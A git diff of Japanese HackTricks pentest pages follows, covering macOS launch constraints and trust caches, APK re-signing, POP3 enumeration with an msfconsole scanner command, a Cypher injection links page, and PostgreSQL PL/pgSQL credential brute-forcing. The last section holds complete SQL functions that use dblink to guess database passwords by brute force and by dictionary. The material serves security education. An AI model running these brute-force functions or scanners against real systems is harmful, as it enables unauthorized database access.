Apple Silicon デバイスで実行されている macOS では、Apple が署名したバイナリが信頼キャッシュに含まれていない場合、AMFI はそのバイナリの読み込みを拒否します。
|
||||
Apple Silicon デバイス上の macOS では、Apple 署名のバイナリが信頼キャッシュにない場合、AMFI はそれをロードすることを拒否します。
|
||||
{% endhint %}
|
||||
|
||||
### 信頼キャッシュの列挙
|
||||
|
||||
前述の信頼キャッシュファイルは **IMG4** および **IM4P** 形式であり、IM4P は IMG4 形式のペイロードセクションです。
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4) を使用してデータベースのペイロードを抽出できます:
|
||||
データベースのペイロードを抽出するには [**pyimg4**](https://github.com/m1stadev/PyIMG4) を使用できます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
(別のオプションとして、[**img4tool**](https://github.com/tihmstar/img4tool) ツールを使用することもできます。このツールは、リリースが古く、x86\_64 用に適切な場所にインストールされていれば、M1 でも実行されます)。
|
||||
(別のオプションは、ツール [**img4tool**](https://github.com/tihmstar/img4tool) を使用することで、リリースが古くてもM1で実行でき、適切な場所にインストールすればx86\_64でも実行できます)。
|
||||
|
||||
今、[**trustcache**](https://github.com/CRKatri/trustcache) ツールを使用して、情報を読みやすい形式で取得できます:
|
||||
今、ツール [**trustcache**](https://github.com/CRKatri/trustcache) を使用して、情報を読みやすい形式で取得できます:
|
||||
```bash
|
||||
# Install
|
||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
|
||||
|
@ -140,7 +141,7 @@ entry count = 969
|
|||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||
```
|
||||
信頼キャッシュは以下の構造に従いますので、**LCカテゴリは4番目の列です**。
|
||||
信頼キャッシュは以下の構造に従いますので、**LCカテゴリは4番目の列です**
|
||||
```c
|
||||
struct trust_cache_entry2 {
|
||||
uint8_t cdhash[CS_CDHASH_LEN];
|
||||
|
@ -150,31 +151,30 @@ uint8_t constraintCategory;
|
|||
uint8_t reserved0;
|
||||
} __attribute__((__packed__));
|
||||
```
|
||||
次に、[**このスクリプト**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30)などを使用してデータを抽出できます。
|
||||
その後、[**このスクリプト**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30)を使用してデータを抽出できます。
|
||||
|
||||
そのデータから、**`0`の起動制約値を持つアプリ**をチェックできます。これは制約されていないものです(各値については[**こちら**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)を参照)。
|
||||
そのデータから、**launch constraintsの値が`0`**のアプリを確認できます。これらは制約がないアプリです(各値が何であるかは[**こちらを確認**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)してください)。
|
||||
|
||||
## 攻撃緩和
|
||||
## 攻撃の緩和策
|
||||
|
||||
起動制約は、**プロセスが予期しない状況で実行されないようにすることで**、いくつかの古い攻撃を緩和していました。たとえば、予期しない場所からの起動や予期しない親プロセスによる起動(launchdだけが起動すべき場合)などです。
|
||||
Launch Constraintsは、**プロセスが予期しない条件で実行されないようにすることで、いくつかの古い攻撃を緩和します。** 例えば、予期しない場所からの実行や、予期しない親プロセスによって呼び出されること(launchdのみが起動するべき場合)を防ぎます。
|
||||
|
||||
さらに、起動制約は**ダウングレード攻撃を緩和**します。
|
||||
さらに、Launch Constraintsは**ダウングレード攻撃も緩和します。**
|
||||
|
||||
ただし、これらは**一般的なXPC**の悪用、**Electron**コードの挿入、ライブラリの検証なしでの**dylibの挿入**(ライブラリを読み込むことができるチームIDがわかっている場合を除く)を緩和しません。
|
||||
しかし、一般的なXPCの**悪用**、**Electron**コードの注入や**dylibの注入**(ライブラリの検証なしで)には対処できません(ライブラリを読み込むことができるチームIDが知られていない限り)。
|
||||
|
||||
### XPCデーモン保護
|
||||
|
||||
Sonomaリリースでは、デーモンXPCサービスの**責任構成**が注目されます。XPCサービスは、接続するクライアントが責任を負うのではなく、自己責任を負います。これはフィードバックレポートFB13206884に記載されています。この設定は欠陥のように見えるかもしれませんが、次のようなXPCサービスとの相互作用を許可します:
|
||||
Sonomaリリースでは、デーモンXPCサービスの**責任構成**が注目されます。XPCサービスは自分自身に対して責任を持ち、接続クライアントが責任を持つのではありません。これはフィードバックレポートFB13206884に文書化されています。この設定は欠陥があるように見えるかもしれませんが、XPCサービスとの特定の相互作用を許可します:
|
||||
|
||||
- **XPCサービスの起動**:バグと仮定される場合、この設定では攻撃者コードを介してXPCサービスを起動することは許可されません。
|
||||
- **アクティブサービスへの接続**:XPCサービスが既に実行中の場合(おそらく元のアプリケーションによってアクティブ化された場合)、接続に障壁はありません。
|
||||
|
||||
XPCサービスに制約を実装することで、**潜在的な攻撃の余地を狭める**ことができますが、主要な懸念には対処できません。XPCサービスのセキュリティを確保するには、接続するクライアントを効果的に**検証する**ことが不可欠です。これがサービスのセキュリティを強化する唯一の方法です。また、言及された責任構成が現在稼働していることに留意する価値がありますが、これは意図された設計と一致しない可能性があります。
|
||||
- **XPCサービスの起動**:バグと見なされる場合、この設定は攻撃者のコードを通じてXPCサービスを起動することを許可しません。
|
||||
- **アクティブサービスへの接続**:XPCサービスがすでに実行中(元のアプリケーションによって起動された可能性がある)であれば、接続するための障壁はありません。
|
||||
|
||||
XPCサービスに制約を実装することは、**潜在的な攻撃のウィンドウを狭める**ことで有益かもしれませんが、主要な懸念には対処していません。XPCサービスのセキュリティを確保するためには、**接続クライアントを効果的に検証することが根本的に必要です。** これがサービスのセキュリティを強化する唯一の方法です。また、前述の責任構成は現在機能していることに注意する価値がありますが、意図された設計とは一致しない可能性があります。
|
||||
|
||||
### Electron保護
|
||||
|
||||
アプリケーションが**親の制約でLaunchServiceによって開かれる必要がある**場合でも、これは**`open`**(環境変数を設定できる)を使用するか、**Launch Services API**(環境変数を指定できる)を使用して達成できます。
|
||||
アプリケーションが**LaunchServiceによって開かれる必要がある**場合(親の制約内)。これは、**`open`**を使用することで達成できます(環境変数を設定できます)または**Launch Services API**を使用することで達成できます(環境変数を指定できます)。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -183,16 +183,17 @@ XPCサービスに制約を実装することで、**潜在的な攻撃の余地
|
|||
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
||||
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -62,24 +62,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
最後に、**新しいアプリケーションに署名する**必要があります。[署名方法については、このページのセクション Smali - Decompiling/\[Modifying\]/Compiling を読んでください](smali-changes.md#sing-the-new-apk)。
|
||||
最後に、**新しいアプリケーションに署名する**必要があります。[署名する方法については、このページのセクション Smali - Decompiling/\[Modifying\]/Compiling を読んでください](smali-changes.md#sing-the-new-apk)。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksであなたの会社を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **あなたのハッキングトリックを、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して共有してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## 基本情報
|
||||
|
||||
**Post Office Protocol (POP)** は、コンピュータネットワークとインターネットの領域内で説明されるプロトコルであり、**リモートメールサーバーからのメールの抽出と取得**に利用され、ローカルデバイスでアクセス可能にします。OSIモデルのアプリケーション層に位置するこのプロトコルは、ユーザーがメールを取得し受信することを可能にします。**POPクライアント**の動作は通常、メールサーバーへの接続を確立し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。このプロトコルには3つのバージョンがありますが、**POP3**が最も広く使用されているバージョンとして際立っています。
|
||||
**Post Office Protocol (POP)** は、コンピュータネットワークとインターネットの領域内で説明されるプロトコルであり、**リモートメールサーバーからのメールの抽出と取得**に利用され、ローカルデバイスでアクセス可能にします。OSIモデルのアプリケーション層に位置するこのプロトコルは、ユーザーがメールを取得し受信することを可能にします。**POPクライアント**の操作は通常、メールサーバーへの接続を確立し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。このプロトコルには3つのバージョンがありますが、**POP3**が最も広く使用されているバージョンとして際立っています。
|
||||
|
||||
**デフォルトポート:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -101,7 +101,7 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
|||
| `auth_debug` | すべての認証デバッグログを有効にします。 |
|
||||
| `auth_debug_passwords` | この設定はログの冗長性を調整し、送信されたパスワードとスキームがログに記録されます。 |
|
||||
| `auth_verbose` | 不成功な認証試行とその理由をログに記録します。 |
|
||||
| `auth_verbose_passwords` | 認証に使用されるパスワードがログに記録され、切り詰められることもあります。 |
|
||||
| `auth_verbose_passwords` | 認証に使用されたパスワードがログに記録され、切り捨てられることもあります。 |
|
||||
| `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したいですか**?それとも**最新のPEASSにアクセスしたい、またはHackTricksをPDFでダウンロードしたいですか**?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **参加してください** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
|
||||
* **あなたのハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,36 @@
|
|||
# Cypher Injection (neo4j)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
以下のブログをチェックしてください:
|
||||
次のブログをチェックしてください:
|
||||
|
||||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,49 @@
|
|||
# PL/pgSQL パスワードブルートフォース
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、またはTwitterで** 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**[元の論文でこの攻撃に関する詳細情報を見つける](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**。
|
||||
**[元の論文でこれらの攻撃に関する詳細情報を見つける](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**。
|
||||
|
||||
PL/pgSQLは、SQLの機能を拡張し、**強化された手続き制御**を提供することで、**完全な機能を備えたプログラミング言語**です。これには、ループやさまざまな制御構造の利用が含まれます。PL/pgSQL言語で作成された関数は、SQLステートメントやトリガーによって呼び出すことができ、データベース環境内での操作の範囲を広げます。
|
||||
PL/pgSQLは、**強化された手続き制御**を提供することにより、SQLの機能を超えた**完全なプログラミング言語**です。これには、ループやさまざまな制御構造の利用が含まれます。PL/pgSQL言語で作成された関数は、SQL文やトリガーによって呼び出すことができ、データベース環境内の操作の範囲を広げます。
|
||||
|
||||
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができますが、それはデータベース上に存在する必要があります。その存在を確認するには、次のようにします:
|
||||
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができますが、データベースに存在する必要があります。その存在を確認するには、次のコマンドを使用できます:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+---------
|
||||
plpgsql |
|
||||
```
|
||||
デフォルトでは、**関数の作成権限はPUBLICに付与されます**。ここでのPUBLICはそのデータベースシステムのすべてのユーザを指します。これを防ぐために、管理者はPUBLICドメインからUSAGE権限を取り消す必要があります:
|
||||
デフォルトでは、**関数の作成はPUBLICに付与された特権です**。ここでPUBLICは、そのデータベースシステム上のすべてのユーザーを指します。これを防ぐために、管理者はPUBLICドメインからUSAGE特権を取り消す必要がありました:
|
||||
```sql
|
||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||
```
|
||||
その場合、前回のクエリは異なる結果を出力します:
|
||||
その場合、以前のクエリは異なる結果を出力します:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+-----------------
|
||||
plpgsql | {admin=U/admin}
|
||||
```
|
||||
次のスクリプトが機能するには、**`dblink` 関数が存在する必要があります**。存在しない場合は、以下のように作成してみることができます。
|
||||
以下のスクリプトが機能するためには、**`dblink`関数が存在する必要があります**。存在しない場合は、次のように作成を試みることができます。
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
## パスワードブルートフォース
|
||||
|
||||
以下は、4文字のパスワードブルートフォースを実行する方法です:
|
||||
ここでは、4文字のパスワードブルートフォースを実行する方法を示します:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
|
|||
//Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_4文字の総当たり攻撃でも数分かかる場合があります。_
|
||||
_Note that even brute-forcing 4 characters may take several minutes._
|
||||
|
||||
**ワードリストをダウンロード**して、そのパスワードのみを試すこともできます(辞書攻撃):
|
||||
あなたはまた**単語リストをダウンロード**し、そのパスワードのみを試すことができます(辞書攻撃):
|
||||
```sql
|
||||
//Create the function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
|
|||
-- Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
